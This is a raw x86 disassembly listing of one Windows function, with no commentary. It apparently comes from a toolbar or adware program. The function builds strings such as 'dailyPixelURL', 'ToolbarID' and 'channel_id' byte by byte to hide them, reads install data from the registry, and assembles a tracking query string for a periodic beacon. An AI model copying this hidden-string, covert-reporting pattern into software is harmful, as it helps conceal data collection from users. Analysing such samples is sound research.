cmp dword [ebp - 0x13130], 0
je 0x40b7f1
push 0x64
pop eax
push 0x61
mov byte [ebp - 0x34], al
lea edi, [ebp - 0x12f18]
pop eax
push 0x69
mov byte [ebp - 0x33], al
pop eax
push 0x6c
pop ecx
push 0x79
pop edx
mov byte [ebp - 0x32], al
mov byte [ebp - 0x2e], al
push 0x65
pop eax
mov byte [ebp - 0x2c], al
xor eax, eax
stosd dword es:[edi], eax
mov byte [ebp - 0x31], cl
mov byte [ebp - 0x2b], cl
lea ecx, [ebp - 0x24]
push 0x439180
stosd dword es:[edi], eax
mov byte [ebp - 0x30], dl
mov byte [ebp - 0x2f], 0x50
mov byte [ebp - 0x2d], 0x78
stosd dword es:[edi], eax
mov word [ebp - 0x2a], 0x4449
mov byte [ebp - 0x28], bl
stosd dword es:[edi], eax
call fcn.00417fb0
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x49
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x12f18]
push eax
lea ecx, [ebp - 0x12f50]
call fcn.00418f30
push 0x4b
pop eax
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], al
call fcn.00418260
lea ecx, [ebp - 0x12f18]
call fcn.00418ff0
test al, al
jne 0x40b7e2
lea ecx, [ebp - 0x12f18]
call fcn.00419020
test al, al
je 0x40b7e2
lea eax, [ebp - 0x12f68]
push eax
lea ecx, [ebp - 0x12f18]
call fcn.00418930
cmp dword [eax + 0x14], 0x10
push 0x4c
pop ecx
mov byte [ebp - 4], cl
jb 0x40b7cc
mov eax, dword [eax]
push eax
call dword [ebp - 0x13130]
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x12f68]
call fcn.004138f5
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], 9
call fcn.00418260
cmp dword [ebp - 0x13124], 0
je 0x40bfff
push 0x64
pop eax
push 0x61
mov byte [ebp - 0x24], al
lea edi, [ebp - 0x12f18]
pop eax
push 0x69
mov byte [ebp - 0x23], al
pop eax
push 0x6c
pop ecx
push 0x79
pop edx
mov byte [ebp - 0x22], al
mov byte [ebp - 0x1e], al
push 0x65
pop eax
mov byte [ebp - 0x1c], al
push 0x4c
pop eax
mov byte [ebp - 0x18], al
xor eax, eax
stosd dword es:[edi], eax
mov byte [ebp - 0x21], cl
mov byte [ebp - 0x1b], cl
lea ecx, [ebp - 0x34]
push 0x439180
stosd dword es:[edi], eax
mov byte [ebp - 0x20], dl
mov byte [ebp - 0x1f], 0x50
mov byte [ebp - 0x1d], 0x78
stosd dword es:[edi], eax
mov word [ebp - 0x1a], 0x5255
mov byte [ebp - 0x17], bl
stosd dword es:[edi], eax
call fcn.00417fb0
push 0x4d
pop eax
mov byte [ebp - 4], al
lea ecx, [ebp - 0x12f50]
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x12f18]
push eax
call fcn.00418f30
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x4f
call fcn.00418260
lea ecx, [ebp - 0x12f18]
call fcn.00418ff0
test al, al
jne 0x40bff0
lea ecx, [ebp - 0x12f18]
call fcn.00419020
test al, al
je 0x40bff0
lea eax, [ebp - 0x12f78]
push eax
call dword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
js 0x40bff0
xor eax, eax
push 0x1fe
mov word [ebp - 0x10fc], ax
lea eax, [ebp - 0x10fa]
push ebx
push eax
call fcn.0041f3b0
add esp, 0xc
lea eax, [ebp - 0x10fc]
push pe_nt_image_headers32
push eax
lea eax, [ebp - 0x12f78]
push eax
call dword [sym.imp.ole32.dll_StringFromGUID2]
test eax, eax
je 0x40bff0
xor eax, eax
mov dword [ebp - 0x38], 7
mov dword [ebp - 0x3c], ebx
mov word [ebp - 0x4c], ax
cmp word [ebp - 0x10fc], ax
jne 0x40b91b
mov eax, ebx
jmp 0x40b928
lea eax, [ebp - 0x10fc]
push eax
call fcn.0041fcca
pop ecx
push eax
lea eax, [ebp - 0x10fc]
push eax
lea ecx, [ebp - 0x4c]
call fcn.00413e4a
lea eax, [ebp - 0x4c]
mov byte [ebp - 4], 0x50
push eax
lea eax, [ebp - 0x12f40]
mov ecx, esi
push eax
call fcn.00406a87
push ebx
push 1
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0x52
call fcn.00413939
cmp dword [ebp - 0x12f2c], 0x10
lea esi, [ebp - 0x12f40]
push dword [ebp - 0x13150]
cmovae esi, dword [ebp - 0x12f40]
lea eax, [ebp - 0x12f40]
add esi, dword [ebp - 0x12f30]
lea ecx, [ebp - 0x12f40]
cmp dword [ebp - 0x12f2c], 0x10
cmovae eax, dword [ebp - 0x12f40]
add eax, dword [ebp - 0x12f30]
cmp dword [ebp - 0x12f2c], 0x10
push eax
cmovae ecx, dword [ebp - 0x12f40]
lea eax, [ebp - 0x13130]
push ecx
push eax
call fcn.00401fa9
add esp, 0x10
lea ecx, [ebp - 0x12f40]
push esi
push dword [eax]
lea eax, [ebp - 0x64]
push eax
call fcn.004144ee
movdqa xmm0, xmmword [0x439780]
push 0x64
pop eax
mov byte [ebp - 0x288], al
lea eax, [ebp - 0x12f40]
push eax
lea eax, [ebp - 0x2a8]
mov word [ebp - 0x287], 0x3d
push eax
movdqu xmmword [ebp - 0x2a8], xmm0
lea eax, [ebp - 0xc8]
movdqa xmm0, xmmword [0x439790]
push eax
movdqu xmmword [ebp - 0x298], xmm0
call fcn.00401939
add esp, 0xc
mov edi, 0x439470
mov byte [ebp - 4], 0x53
push edi
push eax
lea eax, [ebp - 0x12fb0]
push eax
call fcn.0040190c
add esp, 0xc
push ebx
push 1
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 0x55
call fcn.004138f5
mov esi, dword [ebp - 0x13158]
lea eax, [ebp - 0x12f08]
push eax
lea eax, [esi + 0x49c]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x40bf7f
push 0x54
pop eax
push 0x6f
mov byte [ebp - 0x16fc], al
pop eax
push 0x6c
mov byte [ebp - 0x16fb], al
mov byte [ebp - 0x16fa], al
pop eax
push 0x61
mov byte [ebp - 0x16f9], al
pop eax
push 0x72
mov byte [ebp - 0x16f7], al
pop eax
push 0x3f5
mov byte [ebp - 0x16f6], al
lea eax, [ebp - 0x16f1]
push ebx
push eax
mov byte [ebp - 0x16f8], 0x62
mov dword [ebp - 0x16f5], 0x4449
call fcn.0041f3b0
push 0x63
pop eax
push 0x68
mov byte [ebp - 0xefc], al
pop eax
push 0x61
mov byte [ebp - 0xefb], al
pop eax
push 0x6e
mov byte [ebp - 0xefa], al
pop eax
push 0x65
mov byte [ebp - 0xef9], al
mov byte [ebp - 0xef8], al
pop eax
push 0x6c
mov byte [ebp - 0xef7], al
pop eax
push 0x69
mov byte [ebp - 0xef6], al
pop eax
push 0x64
mov byte [ebp - 0xef4], al
pop eax
push 0x3f4
mov byte [ebp - 0xef3], al
lea eax, [ebp - 0xef0]
push ebx
push eax
mov byte [ebp - 0xef5], 0x5f
mov word [ebp - 0xef2], bx
call fcn.0041f3b0
push 0x72
pop eax
push 0x6f
mov byte [ebp - 0x6fb], al
pop eax
push 0x64
mov byte [ebp - 0x6fa], al
pop eax
push 0x63
mov byte [ebp - 0x6f9], al
pop eax
push 0x74
mov byte [ebp - 0x6f7], al
pop eax
push 0x6e
mov byte [ebp - 0x6f6], al
pop eax
push 0x61
mov byte [ebp - 0x6f4], al
pop eax
mov byte [ebp - 0x6fc], 0x70
mov byte [ebp - 0x6f8], 0x75
mov byte [ebp - 0x6f5], 0x5f
mov byte [ebp - 0x6f3], al
mov byte [ebp - 0x6f2], 0x6d
push 0x65
pop eax
push 0x3f2
mov byte [ebp - 0x6f1], al
lea eax, [ebp - 0x6ee]
push ebx
push eax
mov word [ebp - 0x6f0], bx
call fcn.0041f3b0
push 0x69
pop edx
push 0x6e
pop eax
push 0x73
mov byte [ebp - 0xafb], al
pop eax
push 0x74
pop ecx
push 0x61
mov byte [ebp - 0xafa], al
pop eax
push 0x6c
mov byte [ebp - 0xaf8], al
pop eax
push 0x65
mov byte [ebp - 0xaf7], al
mov byte [ebp - 0xaf6], al
pop eax
push 0x3f2
mov byte [ebp - 0xaf1], al
lea eax, [ebp - 0xaee]
push ebx
push eax
mov byte [ebp - 0xafc], dl
mov byte [ebp - 0xaf9], cl
mov byte [ebp - 0xaf5], 0x5f
mov byte [ebp - 0xaf4], cl
mov byte [ebp - 0xaf3], dl
mov byte [ebp - 0xaf2], 0x6d
mov word [ebp - 0xaf0], bx
call fcn.0041f3b0
movdqa xmm0, xmmword [str.product_version]
lea eax, [ebp - 0x2aeb]
push 0x3ef
push ebx
push eax
movdqu xmmword [ebp - 0x2afc], xmm0
mov byte [ebp - 0x2aec], bl
call fcn.0041f3b0
push 0xfff
lea eax, [ebp - 0x26fb]
mov byte [ebp - 0x26fc], bl
push ebx
push eax
call fcn.0041f3b0
add esp, 0x48
mov dword [ebp - 0x12f04], 0x1000
lea eax, [ebp - 0x12f04]
push eax
lea eax, [ebp - 0x26fc]
push eax
push ebx
push ebx
lea eax, [ebp - 0x16fc]
push eax
push dword [ebp - 0x12f08]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40bd14
push 0x74
pop eax
push 0x69
mov byte [ebp - 0x2c], al
pop eax
mov byte [ebp - 0x2a], al
push 0x64
pop eax
mov byte [ebp - 0x29], al
lea eax, [ebp - 0x2c]
push eax
mov byte [ebp - 0x2b], 0x62
mov word [ebp - 0x28], 0x3d
call fcn.0041f4a0
pop ecx
push eax
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x12fb0]
call fcn.00413b93
cmp byte [ebp - 0x26fc], 0
jne 0x40bce0
mov eax, ebx
jmp 0x40bced
lea eax, [ebp - 0x26fc]
push eax
call fcn.0041f4a0
pop ecx
push eax
lea eax, [ebp - 0x26fc]
push eax
lea ecx, [ebp - 0x12fb0]
call fcn.00413b93
push edi
call fcn.0041f4a0
pop ecx
push eax
push edi
lea ecx, [ebp - 0x12fb0]
call fcn.00413b93
lea eax, [ebp - 0x12f04]
mov dword [ebp - 0x12f04], 0x1000
push eax
lea eax, [ebp - 0x26fc]
push eax
push ebx
push ebx
lea eax, [ebp - 0xefc]
push eax
push dword [ebp - 0x12f08]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40bdbe
push 0x63
pop eax
push 0x68
mov byte [ebp - 0x2c], al
pop eax
push 0x6e
mov byte [ebp - 0x2b], al
pop eax
mov byte [ebp - 0x2a], al
push 0x6c
pop eax
mov byte [ebp - 0x29], al
lea eax, [ebp - 0x2c]
push eax
mov word [ebp - 0x28], 0x3d
call fcn.0041f4a0
pop ecx
push eax
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x12fb0]
call fcn.00413b93
cmp byte [ebp - 0x26fc], 0
jne 0x40bd8a
mov eax, ebx
jmp 0x40bd97
lea eax, [ebp - 0x26fc]
push eax
call fcn.0041f4a0
pop ecx
push eax
lea eax, [ebp - 0x26fc]
push eax
lea ecx, [ebp - 0x12fb0]
call fcn.00413b93
push edi
call fcn.0041f4a0
pop ecx
push eax
push edi
lea ecx, [ebp - 0x12fb0]
call fcn.00413b93
lea eax, [ebp - 0x12f04]
mov dword [ebp - 0x12f04], 0x1000
push eax
lea eax, [ebp - 0x26fc]
push eax
push ebx
push ebx
lea eax, [ebp - 0x6fc]
push eax
push dword [ebp - 0x12f08]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40be41
push 0x72
pop eax
push 0x64
mov byte [ebp - 0x2f], al
pop eax
push 0x61
mov byte [ebp - 0x2e], al
pop eax
push 0x74
mov byte [ebp - 0x2a], al
pop eax
push 0x65
mov byte [ebp - 0x29], al
pop eax
mov byte [ebp - 0x28], al
push 0x73
pop eax
mov byte [ebp - 0x27], al
lea eax, [ebp - 0x30]
push eax
mov byte [ebp - 0x30], 0x70
mov word [ebp - 0x2d], 0x763d
mov byte [ebp - 0x2b], 0x62
mov word [ebp - 0x26], 0x26
call fcn.0041f4a0
pop ecx
push eax
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x12fb0]
call fcn.00413b93
lea eax, [ebp - 0x12f04]
mov dword [ebp - 0x12f04], 0x1000
push eax
lea eax, [ebp - 0x26fc]
push eax
push ebx
push ebx
lea eax, [ebp - 0xafc]
push eax
push dword [ebp - 0x12f08]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40bee5
push 0x69
pop eax
push 0x6e
mov byte [ebp - 0x3c], al
pop eax
mov byte [ebp - 0x3b], al
push 0x64
pop eax
mov byte [ebp - 0x3a], al
lea eax, [ebp - 0x3c]
push eax
mov word [ebp - 0x39], 0x3d
call fcn.0041f4a0
pop ecx
push eax
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x12fb0]
call fcn.00413b93
cmp byte [ebp - 0x26fc], 0
jne 0x40beb1
mov eax, ebx
jmp 0x40bebe
lea eax, [ebp - 0x26fc]
push eax
call fcn.0041f4a0
pop ecx
push eax
lea eax, [ebp - 0x26fc]
push eax
lea ecx, [ebp - 0x12fb0]
call fcn.00413b93
push edi
call fcn.0041f4a0
pop ecx
push eax
push edi
lea ecx, [ebp - 0x12fb0]
call fcn.00413b93
lea eax, [ebp - 0x12f04]
mov dword [ebp - 0x12f04], 0x1000
push eax
lea eax, [ebp - 0x26fc]
push eax
push ebx
push ebx
lea eax, [ebp - 0x2afc]
push eax
push dword [ebp - 0x12f08]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40bf73
push 0x65
pop eax
mov byte [ebp - 0x3b], al
push 0x72
pop eax
mov byte [ebp - 0x3a], al
lea eax, [ebp - 0x3c]
push eax
mov byte [ebp - 0x3c], 0x76
mov word [ebp - 0x39], 0x3d
call fcn.0041f4a0
pop ecx
push eax
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x12fb0]
call fcn.00413b93
cmp byte [ebp - 0x26fc], 0
jne 0x40bf53
mov eax, ebx
jmp 0x40bf60
lea eax, [ebp - 0x26fc]
push eax
call fcn.0041f4a0
pop ecx
push eax
lea eax, [ebp - 0x26fc]
push eax
lea ecx, [ebp - 0x12fb0]
call fcn.00413b93
push dword [ebp - 0x12f08]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x12f68]
push eax
lea ecx, [ebp - 0x12f18]
call fcn.00418930
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x12fb0]
mov byte [ebp - 4], 0x56
push eax
lea ecx, [ebp - 0x12f68]
call fcn.00413a8c
cmp dword [ebp - 0x12f54], 0x10
lea eax, [ebp - 0x12f68]
cmovae eax, dword [ebp - 0x12f68]
push eax
call dword [ebp - 0x13124]
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x12f68]
call fcn.004138f5
push ebx
push 1
lea ecx, [ebp - 0x12fb0]
call fcn.004138f5
push ebx
push 1
lea ecx, [ebp - 0x12f40]
call fcn.004138f5
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], 9
call fcn.00418260
cmp dword [ebp - 0x13128], 0
je 0x40c1b0
push 0x6c
pop eax
push 0x65
mov byte [ebp - 0x23], al
lea edi, [ebp - 0x34]
pop eax
push 0x6e
pop edx
push 0x4d
pop ecx
push 0x69
mov byte [ebp - 0x1d], cl
pop ecx
push 0x74
mov byte [ebp - 0x1c], cl
pop ecx
mov byte [ebp - 0x22], al
mov byte [ebp - 0x21], al
mov byte [ebp - 0x18], al
push 0x73
pop eax
mov byte [ebp - 0x17], al
xor eax, eax
stosd dword es:[edi], eax
mov byte [ebp - 0x19], cl
lea ecx, [ebp - 0x12f18]
push 0x439180
mov byte [ebp - 0x24], 0x53
stosd dword es:[edi], eax
mov word [ebp - 0x20], 0x4970
mov byte [ebp - 0x1e], dl
mov byte [ebp - 0x1b], dl
stosd dword es:[edi], eax
mov byte [ebp - 0x1a], 0x75
mov byte [ebp - 0x16], bl
stosd dword es:[edi], eax
call fcn.00417fb0
push 0x57
pop eax
mov byte [ebp - 4], al
lea ecx, [ebp - 0x12f50]
lea eax, [ebp - 0x12f18]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.00418f30
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], 0x59
call fcn.00418260
lea ecx, [ebp - 0x34]
call fcn.00418ff0
test al, al
jne 0x40c0d6
lea ecx, [ebp - 0x34]
call fcn.00419020
test al, al
je 0x40c0d6
lea eax, [ebp - 0xc8]
push eax
lea ecx, [ebp - 0x34]
call fcn.00418930
mov ecx, dword [ebp - 0x1313c]
or ecx, 1
cmp dword [eax + 0x10], ebx
je 0x40c0dc
mov byte [ebp - 0x12f00], 1
jmp 0x40c0e2
mov ecx, dword [ebp - 0x1313c]
mov byte [ebp - 0x12f00], bl
test cl, 1
je 0x40c0f5
push ebx
push 1
lea ecx, [ebp - 0xc8]
call fcn.004138f5
cmp byte [ebp - 0x12f00], 0
je 0x40c17b
lea eax, [ebp - 0xc8]
push eax
lea ecx, [ebp - 0x34]
call fcn.00418930
cmp dword [eax + 0x14], 0x10
jb 0x40c115
mov eax, dword [eax]
push eax
call fcn.0041d2bd
pop ecx
push ebx
push 1
lea ecx, [ebp - 0xc8]
mov edi, eax
call fcn.004138f5
push dword [esi + 0x450]
push dword [esi + 4]
call dword [sym.imp.USER32.dll_KillTimer]
cmp edi, 0xffffffff
je 0x40c16a
push ebx
test edi, edi
je 0x40c14e
imul eax, edi, 0xea60
push eax
jmp 0x40c190
push 0x2bf20
push 0x3aa0
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetTimer]
mov dword [esi + 0x450], eax
push ebx
jmp 0x40c172
mov dword [esi + 0x450], ebx
push 0xffffffffffffffff
call dword [ebp - 0x13128]
pop ecx
jmp 0x40c1a4
push dword [esi + 0x450]
push dword [esi + 4]
call dword [sym.imp.USER32.dll_KillTimer]
push ebx
push 0x36ee80
push 0x3aa0
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetTimer]
mov dword [esi + 0x450], eax
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 9
call fcn.00418260
push 0x74
movdqa xmm0, xmmword [0x4397c0]
lea edi, [ebp - 0x12fc0]
pop eax
mov byte [ebp - 0x260], al
lea ecx, [ebp - 0x12f18]
push 0x65
pop eax
mov byte [ebp - 0x25f], al
push 0x73
pop eax
mov byte [ebp - 0x25e], al
xor eax, eax
stosd dword es:[edi], eax
push str.1440
movdqu xmmword [ebp - 0x270], xmm0
mov byte [ebp - 0x25d], bl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00417fb0
lea eax, [ebp - 0x12f18]
mov byte [ebp - 4], 0x5a
push eax
lea eax, [ebp - 0x270]
push eax
lea eax, [ebp - 0x12fc0]
push eax
lea ecx, [ebp - 0x12f50]
call fcn.00418f30
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], 0x5c
call fcn.00418260
lea ecx, [ebp - 0x12fc0]
call fcn.00418ff0
test al, al
jne 0x40c283
lea ecx, [ebp - 0x12fc0]
call fcn.00419020
test al, al
je 0x40c283
lea eax, [ebp - 0xc8]
push eax
lea ecx, [ebp - 0x12fc0]
call fcn.00418930
cmp dword [eax + 0x14], 0x10
jb 0x40c268
mov eax, dword [eax]
push eax
call fcn.0041d2bd
pop ecx
push ebx
push 1
lea ecx, [ebp - 0xc8]
mov dword [esi + 0x474], eax
call fcn.004138f5
push 0x63
pop eax
push 0x6b
mov byte [ebp - 0x21c], al
lea edi, [ebp - 0x12fd0]
pop eax
push 0x6e
pop ecx
push 0x4d
mov byte [ebp - 0x21b], al
pop eax
push 0x69
mov byte [ebp - 0x218], al
pop eax
mov byte [ebp - 0x217], al
push 0x74
movdqa xmm0, xmmword [0x4396f0]
pop eax
mov byte [ebp - 0x214], al
push 0x65
pop eax
mov byte [ebp - 0x213], al
push 0x73
pop eax
mov byte [ebp - 0x212], al
xor eax, eax
stosd dword es:[edi], eax
mov byte [ebp - 0x219], cl
mov byte [ebp - 0x216], cl
lea ecx, [ebp - 0x12f28]
push 0x439468
stosd dword es:[edi], eax
movdqu xmmword [ebp - 0x22c], xmm0
mov byte [ebp - 0x21a], 0x49
mov byte [ebp - 0x215], 0x75
stosd dword es:[edi], eax
mov byte [ebp - 0x211], bl
stosd dword es:[edi], eax
call fcn.00417fb0
lea eax, [ebp - 0x12f28]
mov byte [ebp - 4], 0x5d
push eax
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x12fd0]
push eax
lea ecx, [ebp - 0x12f50]
call fcn.00418f30
lea ecx, [ebp - 0x12f28]
mov byte [ebp - 4], 0x5f
call fcn.00418260
lea ecx, [ebp - 0x12fd0]
call fcn.00418ff0
test al, al
jne 0x40c397
lea ecx, [ebp - 0x12fd0]
call fcn.00419020
test al, al
je 0x40c397
lea eax, [ebp - 0xc8]
push eax
lea ecx, [ebp - 0x12fd0]
call fcn.00418930
cmp dword [eax + 0x14], 0x10
jb 0x40c37c
mov eax, dword [eax]
push eax
call fcn.0041d2bd
pop ecx
push ebx
push 1
lea ecx, [ebp - 0xc8]
mov dword [esi + 0x478], eax
call fcn.004138f5
movdqa xmm0, xmmword [str.mainPathToaster]
lea edi, [ebp - 0x12fe0]
xor eax, eax
lea ecx, [ebp - 0x24]
stosd dword es:[edi], eax
push 0x439180
movdqu xmmword [ebp - 0x2fc], xmm0
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00417fb0
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x60
push eax
lea eax, [ebp - 0x2fc]
push eax
lea eax, [ebp - 0x12fe0]
push eax
lea ecx, [ebp - 0x12f50]
call fcn.00418f30
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x62
call fcn.00418260
lea ecx, [ebp - 0x12fe0]
call fcn.00418ff0
test al, al
jne 0x40c437
lea ecx, [ebp - 0x12fe0]
call fcn.00419020
test al, al
je 0x40c437
lea eax, [ebp - 0xc8]
push eax
lea ecx, [ebp - 0x12fe0]
call fcn.00418930
push eax
lea ecx, [esi + 0x47c]
call fcn.004039ec
push ebx
push 1
lea ecx, [ebp - 0xc8]
call fcn.004138f5
push ebx
push 0x5265c00
push 0x3a99
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetTimer]
lea ecx, [ebp - 0x12fe0]
mov dword [esi + 0x410], eax
mov byte [ebp - 4], 0x5f
call fcn.00418260
lea ecx, [ebp - 0x12fd0]
mov byte [ebp - 4], 0x5c
call fcn.00418260
lea ecx, [ebp - 0x12fc0]
mov byte [ebp - 4], 9
call fcn.00418260
mov eax, dword [ebp - 0x1312c]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test eax, eax
je 0x40c491
push eax
call esi
mov eax, dword [ebp - 0x13134]
test eax, eax
je 0x40c49e
push eax
call esi
lea ecx, [ebp - 0x13120]
call fcn.004038a0
lea ecx, [ebp - 0x12f50]
mov byte [ebp - 4], 6
call fcn.00418260
mov ecx, dword [ebp - 0x13138]
lea ecx, [ecx - 0x10]
call fcn.004119af
lea ecx, [ebp - 0x130b0]
call fcn.00403b37
push ebx
push 1
lea ecx, [ebp - 0x12ff8]
call fcn.004138f5
push ebx
push 1
lea ecx, [ebp - 0x12f98]
call fcn.004138f5
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0042109c
mov esp, ebp
pop ebp
ret